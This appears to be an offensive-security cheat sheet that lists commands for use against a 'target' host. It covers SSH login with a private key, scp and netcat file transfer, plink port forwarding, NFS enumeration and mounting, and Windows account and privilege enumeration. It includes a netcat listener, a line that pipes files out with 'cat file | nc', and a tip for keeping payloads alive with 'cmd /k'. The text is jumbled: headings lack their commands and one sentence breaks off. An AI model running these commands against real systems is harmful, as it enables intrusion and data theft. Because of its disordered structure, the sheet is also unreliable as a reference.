Using a id_rsa to login to a target, Do note you must have the password for the id_rsa for this to work
ssh -i id_rsa User@IP
SCP
SCP is a great method of transferring files to and from the target in a pinch
scp User@IP:~/Dir ~/LocalDir
scp LocalFile User@IP:~/RemoteDir/File
PLINK
Plink is a tool that's part of the putty suite, it allows for ssh tunneling and in our use cases port forwarding. Once plink is on the target we first find the port we want to forward
netstat -ano
and then forward the port to our machine which should have a ssh profile setup
NFS Mounts can sometimes be found on targets and can provide essential information about the target
They are often found on port
Enumeration
Local Mount
NFS Mounts can also be mounted locally
NFS Mounts can often be huge and take a bit of time to transfer data (especially in a turbulent network) as such it's advisable to use rsync to pull files available on it down
Fuzzing is very useful for finding files that has a explicit name but no given explicit location, we can use fuzzing to find the given path using a pre-exisiting URL, fuzzing can also be used for exploiting LFI as well as SQL vulnerabilities
DirBusting
Dirbusting can be considered a form of fuzzing but checks for whole directories and files, one such tool we can use for this is GoBuster
showmount -e IP #List Mounts
nmap -sV --script=nfs-showmount IP #Nmap List Mounts
nmap -sV --script=nfs-statfs IP #Nmap get mount statistics
nmap -sV --script=nfs-ls IP #Nmap list mounts and permissions
mount -t nfs IP:/NFSMountName /LocalMountLocation
mount #Lists locally mounted directories
umount IP:/NFSMountName #unmounts mounted NFS Directory
dir /a #list files with full atributes including hidden
cmd /k #useful inline with payloads, runs & keeps payload alive
whoami /priv #whoami?
net user #list accounts
net user %USERNAME% #information about current account
net group #view Domain Groups
nc -lnvp IP PORT #start netcat listener
nc IP PORT #use netcat to connect to a defined target
nc -l -p 1234 > out.file #receiver
cat file | nc -w 3 IP PORT #sender